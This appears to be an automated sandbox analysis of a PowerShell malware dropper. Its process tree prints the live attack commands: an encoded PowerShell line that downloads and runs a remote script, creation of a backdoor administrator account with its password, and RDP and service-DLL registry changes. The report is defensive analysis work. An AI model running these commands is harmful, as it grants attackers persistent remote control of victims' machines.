Analysis

  • max time kernel
    46s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    09-07-2021 21:17

General

  • Target

    resolve-domain.ps1

  • Size

    2.5MB

  • MD5

    1c42eeda1f1bcf1b607aae8a13af258a

  • SHA1

    3ceae3bbf209e777069cad37f0073c00564b7060

  • SHA256

    300199ee623af4efb07d6904e943bb1807f9e58efb6cae448630aa3c16e4fb75

  • SHA512

    5579df57fcbb7a4958cb2630e9d4fe7cbbd10821182227e1a64c522c98e254135720f26eda05c2e9c5959b40fed480e90aa10ba47be602d8c843ac965d8a0853

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\resolve-domain.ps1
    1⤵
    • Deletes itself
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2024
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3480
    • C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      2⤵
        PID:3492
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        2⤵
        • Modifies registry key
        PID:2248
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        2⤵
          PID:2348
        • C:\Windows\system32\net.exe
          "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3712
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
              PID:3228
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2356
            • C:\Windows\system32\cmd.exe
              cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2024
              • C:\Windows\system32\net.exe
                net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2372
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 start rdpdr
                  5⤵
                    PID:1968
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3864
              • C:\Windows\system32\cmd.exe
                cmd /c net start TermService
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3640
                • C:\Windows\system32\net.exe
                  net start TermService
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2644
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start TermService
                    5⤵
                      PID:2252
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                2⤵
                  PID:4076
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                  2⤵
                    PID:1760
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user WgaUtilAcc 000000 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1920
                  • C:\Windows\system32\net.exe
                    net.exe user WgaUtilAcc 000000 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2188
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                      3⤵
                        PID:1560
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc ZpJW1EDq /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2008
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc ZpJW1EDq /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3340
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc ZpJW1EDq /add
                        3⤵
                          PID:3860
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:496
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3940
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          3⤵
                            PID:4076
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2144
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1428
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            3⤵
                              PID:2008
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2064
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2356
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              3⤵
                                PID:496
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc ZpJW1EDq
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3712
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc ZpJW1EDq
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3808
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user WgaUtilAcc ZpJW1EDq
                                3⤵
                                  PID:3520
                            • C:\Windows\System32\cmd.exe
                              cmd.exe /C wmic path win32_VideoController get name
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2024
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic path win32_VideoController get name
                                2⤵
                                  PID:1968
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2144
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic CPU get NAME
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:4048
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2864
                                • C:\Windows\system32\cmd.exe
                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2064
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    3⤵
                                    • Blocklisted process makes network request
                                    • Drops file in Program Files directory
                                    • Drops file in Windows directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2464

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • memory/912-195-0x0000018E6C6C6000-0x0000018E6C6C8000-memory.dmp

                                Filesize

                                8KB

                              • memory/912-257-0x0000018E6C6C8000-0x0000018E6C6CA000-memory.dmp

                                Filesize

                                8KB

                              • memory/912-199-0x0000018E6C6C3000-0x0000018E6C6C5000-memory.dmp

                                Filesize

                                8KB

                              • memory/912-196-0x0000018E6C6C0000-0x0000018E6C6C2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2024-174-0x000001C253346000-0x000001C253348000-memory.dmp

                                Filesize

                                8KB

                              • memory/2024-151-0x000001C253343000-0x000001C253345000-memory.dmp

                                Filesize

                                8KB

                              • memory/2024-150-0x000001C253340000-0x000001C253342000-memory.dmp

                                Filesize

                                8KB

                              • memory/2024-194-0x000001C253348000-0x000001C25334A000-memory.dmp

                                Filesize

                                8KB

                              • memory/2464-359-0x0000015E68C20000-0x0000015E68C22000-memory.dmp

                                Filesize

                                8KB

                              • memory/2464-414-0x0000015E68C28000-0x0000015E68C29000-memory.dmp

                                Filesize

                                4KB

                              • memory/2464-360-0x0000015E68C23000-0x0000015E68C25000-memory.dmp

                                Filesize

                                8KB

                              • memory/2464-363-0x0000015E68C26000-0x0000015E68C28000-memory.dmp

                                Filesize

                                8KB

                              • memory/3480-260-0x000001FE60B66000-0x000001FE60B68000-memory.dmp

                                Filesize

                                8KB

                              • memory/3480-259-0x000001FE60B63000-0x000001FE60B65000-memory.dmp

                                Filesize

                                8KB

                              • memory/3480-258-0x000001FE60B60000-0x000001FE60B62000-memory.dmp

                                Filesize

                                8KB

                              • memory/3480-269-0x000001FE60B68000-0x000001FE60B6A000-memory.dmp

                                Filesize

                                8KB

                              • memory/3968-133-0x0000012E708A0000-0x0000012E708A1000-memory.dmp

                                Filesize

                                4KB

                              • memory/3968-122-0x0000012E6FD73000-0x0000012E6FD75000-memory.dmp

                                Filesize

                                8KB

                              • memory/3968-128-0x0000012E6FD76000-0x0000012E6FD78000-memory.dmp

                                Filesize

                                8KB

                              • memory/3968-123-0x0000012E704A0000-0x0000012E704A1000-memory.dmp

                                Filesize

                                4KB

                              • memory/3968-134-0x0000012E70C30000-0x0000012E70C31000-memory.dmp

                                Filesize

                                4KB

                              • memory/3968-278-0x0000012E6FD78000-0x0000012E6FD79000-memory.dmp

                                Filesize

                                4KB

                              • memory/3968-118-0x0000012E6FF20000-0x0000012E6FF21000-memory.dmp

                                Filesize

                                4KB

                              • memory/3968-121-0x0000012E6FD70000-0x0000012E6FD72000-memory.dmp

                                Filesize

                                8KB